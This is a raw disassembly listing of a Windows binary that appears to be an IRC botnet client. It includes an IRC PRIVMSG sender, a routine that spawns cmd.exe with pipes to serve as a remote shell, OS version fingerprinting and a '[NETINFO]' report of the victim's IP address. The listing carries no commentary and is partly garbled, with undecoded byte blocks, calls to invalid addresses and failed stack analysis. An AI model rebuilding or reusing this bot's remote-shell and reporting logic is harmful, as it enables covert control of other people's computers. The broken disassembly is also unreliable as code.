		call	esi


loc_40A5CB:				; CODE XREF: seg000:0040A5C6j
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5CD	proc near		; CODE XREF: seg000:0041133Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_415CD0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_43A6B8
		call	near ptr 0A28B540h
		db	67h
		test	eax, eax
		jnz	short loc_40A600
		call	near ptr loc_40A59C+1
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A600:				; CODE XREF: sub_40A5CD+28j
		push	1
		pop	eax
		leave
		retn
sub_40A5CD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_438F8C
		push	dword ptr [ebp+0Ch]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A648
		push	7D0h
		call	ds:dword_421060
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+0Ch]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4154CD
		add	esp, 10h
		jmp	short loc_40A65F
; ---------------------------------------------------------------------------


loc_40A648:				; CODE XREF: seg000:0040A61Fj
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_40A65F:				; CODE XREF: seg000:0040A646j
		lea	eax, [ebp-200h]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-200h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3B8
		test	eax, eax
		jg	short loc_40A688
		call	near ptr loc_40A59C+1


loc_40A688:				; CODE XREF: seg000:0040A681j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A68C:				; DATA XREF: sub_40A7E1+170o
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43A6C0
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	ds:dword_43A6B4
		call	near ptr 6FE3689Dh
		mov	es, word ptr [ebp-647BF040h]
; ---------------------------------------------------------------------------
		dd 39000000h, 2B75FC7Dh, 50F8458Dh, 0A6B035FFh,	72E80043h
		dd 844ABCE9h, 0D74C085h, 3F87D81h, 0F000001h, 9985h, 0FF0A6A00h
		dd 42106015h, 339DEB00h, 0FC7D39C0h, 0BC801076h, 0FFFDF405h
		dd 54740AFFh, 0FC453B40h, 7589F072h, 858D56FCh,	0FFFFFDF4h
		dd 21E85057h, 830000AEh, 458D0CC4h, 0FF5057F4h,	858DFC75h
		dd 0FFFFFDF4h, 0B435FF50h, 0FF0043A6h, 42106815h, 74C08500h
		dd 0F4858D6Dh, 50FFFFFDh, 0F435FF53h, 0E80043A6h, 0FFFFFEA1h
		dd 0E90CC483h, 0FFFFFF38h, 0FC458940h, 0BC68AFEBh, 530042B5h
		dd 0A6F435FFh, 82E80043h, 0FFFFFFFEh, 0AE80875h, 830000ABh
		dd 16A10C4h, 159990E8h,	2E8D99Fh, 68FFFFFEh, 42B580h, 0F435FF53h
		dd 0E80043A6h, 0FFFFFE59h, 0E80875FFh, 0AAE1h, 5710C483h
		dd 0ADDCCEE8h, 3C68F003h, 530042B5h, 0A6F435FFh, 36E80043h
		dd 0FFFFFFFEh, 0BEE80875h, 830000AAh, 0E85710C4h, 1AE69A26h
; ---------------------------------------------------------------------------
		pop	ss

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7E1	proc near		; CODE XREF: seg000:00411FFAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_5056D43D	= byte ptr  5056D445h
arg_6A5F74B8	= byte ptr  6A5F74C0h

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	near ptr loc_40A59C+1
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_43A424
		test	eax, eax
		jz	loc_40A8DB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, ds:dword_421108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40A8DB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40A8DB
		mov	edi, ds:dword_421104
		push	3
		push	esi
		push	esi
		push	offset dword_43A6B8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 0B1CB26D8h
		cmp	[ebp+arg_6A5F74B8], al
		adc	[ebp+arg_5056D43D], cl
		call	sub_415550
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415550
		mov	eax, [ebp+var_4]


loc_40A899:				; DATA XREF: seg002:00424ED4o
					; seg002:00424F18o ...
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_438F8C
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 5BBA3B35h
		pushf
		test	eax, eax
		jnz	short loc_40A8E3


loc_40A8DB:				; CODE XREF: sub_40A7E1+2Fj
					; sub_40A7E1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40A991
; ---------------------------------------------------------------------------


loc_40A8E3:				; CODE XREF: sub_40A7E1+F8j
		push	[ebp+var_4]
		mov	edi, ds:dword_42106C
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	ds:dword_43A6B4, eax
		mov	eax, [ebp+var_8]
		mov	ds:dword_43A6BC, eax
		mov	eax, [ebp+var_2C]
		mov	ds:dword_43A6B0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	ds:dword_43A6F4, eax
		jz	short loc_40A91D
		push	[ebp+arg_4]
		jmp	short loc_40A91E
; ---------------------------------------------------------------------------


loc_40A91D:				; CODE XREF: sub_40A7E1+135j
		push	ebx


loc_40A91E:				; CODE XREF: sub_40A7E1+13Aj
		push	offset dword_43A6C0
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42B648
		call	sub_414F79
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	ds:dword_43F500[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset loc_40A68C
		push	esi
		push	esi
		call	near ptr 8BA8799Bh
		xchg	eax, esp
		cmp	eax, esi
		mov	ds:dword_43F50C[edi], eax
		jnz	short loc_40A98F
		call	ds:dword_421088
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42B600
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40B151
		add	esp, 10h


loc_40A98F:				; CODE XREF: sub_40A7E1+185j
		xor	eax, eax


loc_40A991:				; CODE XREF: sub_40A7E1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A996	proc near		; CODE XREF: sub_407119+74p
					; seg000:0041209Ep ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_42104C
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43A6FC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_415A4A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A996	endp

; ---------------------------------------------------------------------------
		db 53h
		dd 40BE5756h, 0F000F42h, 3E86831h, 0FA8B0000h, 15FFD88Bh
		dd 421060h, 0C32B310Fh,	0D71B006Ah, 0E8505256h,	0C898h
		dd 0D88BFA8Bh, 0D777FF85h, 0DE3B0472h, 6AD177h,	5357646Ah
		dd 0C7FFE8h, 6ACA8B00h,	8BD23364h, 58C985F0h, 5725B77h
		dd 7350FE83h, 334B6A05h, 0C98558D2h, 5724B77h, 7347FE83h
		dd 33426A05h, 0C98558D2h, 5723B77h, 7337FE83h, 33326A05h
		dd 0C98558D2h, 5722B77h, 7326FE83h, 33216A05h, 0C98558D2h
		dd 5721B77h, 731EFE83h,	33196A05h, 0C98558D2h, 5720B77h
		dd 730AFE83h, 33C03304h, 1BC62BD2h, 13C303D1h, 5B5E5FD7h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40AAB5	proc near		; CODE XREF: seg000:0041225Ap

var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_438F8C
		mov	[ebp+var_CC], 94h
		call	ds:dword_42110C
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40AB3C
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB18
		cmp	[ebp+var_BC], 1
		jnz	short loc_40AB02
		mov	[ebp+var_4], offset a95	; "95"


loc_40AB02:				; CODE XREF: sub_40AAB5+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40ABB7
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40AB88
; ---------------------------------------------------------------------------


loc_40AB18:				; CODE XREF: sub_40AAB5+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40AB2A
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40AB7F
; ---------------------------------------------------------------------------


loc_40AB2A:				; CODE XREF: sub_40AAB5+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40AB78
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40AB7F
; ---------------------------------------------------------------------------


loc_40AB3C:				; CODE XREF: sub_40AAB5+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40AB78
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB56
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40AB7F
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40AAB5+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40AB68
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40AB7F
; ---------------------------------------------------------------------------


loc_40AB68:				; CODE XREF: sub_40AAB5+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40AB7F


loc_40AB78:				; CODE XREF: sub_40AAB5+7Cj
					; sub_40AAB5+8Ej
		mov	[ebp+var_4], offset dword_42B798


loc_40AB7F:				; CODE XREF: sub_40AAB5+73j
					; sub_40AAB5+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40ABB7


loc_40AB88:				; CODE XREF: sub_40AAB5+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40ABB7
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42B790
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40ABB7:				; CODE XREF: sub_40AAB5+54j
					; sub_40AAB5+D1j ...
		mov	ax, ds:word_42B78C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_43A254
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40ABF0
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_40ABF0:				; CODE XREF: sub_40AAB5+12Cj
		push	[ebp+arg_4]
		call	sub_40A155
		pop	ecx
		push	eax
		call	ds:dword_43A3A8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_43A320
		cmp	eax, ebx
		jz	short loc_40AC19
		push	dword ptr [eax]
		jmp	short loc_40AC1E
; ---------------------------------------------------------------------------


loc_40AC19:				; CODE XREF: sub_40AAB5+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40AC1E:				; CODE XREF: sub_40AAB5+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4154CD
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 1AD35373h
		xlat
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 91112795h
		insb
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 15C57931h
		sbb	ch, [edx+20h]
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 6EC8F551h
		hlt
sub_40AAB5	endp

; ---------------------------------------------------------------------------
		dw 5353h
		dd 53E8458Dh, 18858D50h, 50FFFFFBh, 0C68BE8h, 0E8458D00h
		dd 18858D50h, 50FFFFF8h, 165FE8h, 8B606A00h, 0BD8D59F0h
		dd 0FFFFF818h, 606AA5F3h, 0F818B58Dh, 8D59FFFFh, 0FFF998BDh
		dd 53A5F3FFh, 0FFFCC5E8h, 20C483FFh, 0A4858D50h, 50FFFFFEh
		dd 0FEEC858Dh, 8D50FFFFh, 0FFFDA485h, 75FF50FFh, 0F463E80Ch
		dd 5059FFFFh, 0FC1C858Dh, 8D50FFFFh, 0FFFB1885h, 858D50FFh
		dd 0FFFFFA18h, 0FF40B5FFh, 0B5FFFFFFh, 0FFFFFF3Ch, 0FF38B5FFh
		dd 75FFFFFFh, 858D50FCh, 0FFFFFA98h, 0D4458B50h, 530AE8C1h
		dd 14CAE850h, 59590000h, 0D0458B50h, 530AE8C1h,	14BAE850h
		dd 59590000h, 0FCB5E850h, 5052FFFFh, 42B69068h,	2006800h
		dd 75FF0000h, 0ACECE808h, 458B0000h, 50C48308h,	0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD69	proc near		; CODE XREF: seg000:00411259p
					; seg000:00412288p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		cmp	ds:dword_43A450, 0
		jnz	short loc_40ADDD
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_43A238
		test	eax, eax
		jnz	short loc_40ADBE
		lea	eax, [ebp+var_8C]
		push	offset dword_42B80C
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_40ADBE:				; CODE XREF: sub_40AD69+40j
		test	[ebp+var_C], 1
		jz	short loc_40ADD6
		push	offset dword_42B804


loc_40ADC9:				; CODE XREF: sub_40AD69+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_40ADFC
; ---------------------------------------------------------------------------


loc_40ADD6:				; CODE XREF: sub_40AD69+59j
		push	offset dword_42B800
		jmp	short loc_40ADC9
; ---------------------------------------------------------------------------


loc_40ADDD:				; CODE XREF: sub_40AD69+28j
		mov	esi, offset off_42B7FC
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_40ADFC:				; CODE XREF: sub_40AD69+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A4A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40AD69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE2F	proc near		; DATA XREF: seg000:0041142Eo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42B950
		call	sub_415550
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_415550
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_415550
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_415550
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	ds:dword_43A270
		test	eax, eax
		jz	loc_40AFC9
		cmp	[ebp+var_34], ebx
		jbe	short loc_40AF06
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40AF06:				; CODE XREF: sub_40AE2F+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40AF24
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40AF24:				; CODE XREF: sub_40AE2F+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40AF3E
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40AF3E:				; CODE XREF: sub_40AE2F+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40AF58
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40AF58:				; CODE XREF: sub_40AE2F+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	ds:dword_43A318
		call	ds:dword_43A33C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40AFE1
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	ds:dword_43A330
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40AFE8
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_43A2E4
		test	eax, eax
		jz	short loc_40AFC2
		push	offset dword_42B920
		jmp	short loc_40AFED
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AE2F+18Aj
		push	offset unk_42B8D0
		jmp	short loc_40AFED
; ---------------------------------------------------------------------------


loc_40AFC9:				; CODE XREF: sub_40AE2F+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42B8A0
		push	eax
		call	sub_4154CD
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40AFFB
; ---------------------------------------------------------------------------


loc_40AFE1:				; CODE XREF: sub_40AE2F+153j
		push	offset unk_42B860
		jmp	short loc_40AFED
; ---------------------------------------------------------------------------


loc_40AFE8:				; CODE XREF: sub_40AE2F+17Bj
		push	offset unk_42B81C


loc_40AFED:				; CODE XREF: sub_40AE2F+191j
					; sub_40AE2F+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_40AFFB:				; CODE XREF: sub_40AE2F+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40B026
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_412D32
		add	esp, 14h


loc_40B026:				; CODE XREF: sub_40AE2F+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40B151
		pop	ecx
		push	esi
		call	ds:dword_43A39C
		push	[ebp+var_4]
		call	ds:dword_43A39C
		push	[ebp+var_1D8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 0D90EBA77h
		and	ebx, [edi+5Eh]
		pop	ebx
sub_40AE2F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B059	proc near		; CODE XREF: seg000:0041118Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43E778
		mov	edi, 0B8h


loc_40B06D:				; CODE XREF: sub_40B059+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40B090
		push	[ebp+arg_0]
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B090
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43F2F8
		jl	short loc_40B06D
		jmp	short loc_40B0D2
; ---------------------------------------------------------------------------


loc_40B090:				; CODE XREF: sub_40B059+17j
					; sub_40B059+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43E778[esi]
		push	ebx
		call	sub_415550
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416D20
		push	9Fh
		lea	eax, dword_43E790[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416D20
		add	esp, 24h
		inc	ds:dword_42E754
		pop	ebx


loc_40B0D2:				; CODE XREF: sub_40B059+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40B059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0D9	proc near		; CODE XREF: seg000:004123C3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42B960
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E778


loc_40B103:				; CODE XREF: sub_40B0D9+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40B13E
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42B954
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_415A4A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 2Ch


loc_40B13E:				; CODE XREF: sub_40B0D9+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43F2F8
		jl	short loc_40B103
		pop	edi
		pop	esi
		leave
		retn
sub_40B0D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B151	proc near		; CODE XREF: start+97p
					; seg000:004013C6p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_42105C
		mov	ebx, offset dword_43E734
		mov	edi, 80h
		mov	esi, offset dword_43A734


loc_40B173:				; CODE XREF: sub_40B151+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40B18A
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40B18A:				; CODE XREF: sub_40B151+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40B173
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_415A4A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B151	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1C5	proc near		; CODE XREF: seg000:00407D3Dp
					; seg000:00407F19p ...

var_80		= byte ptr -80h
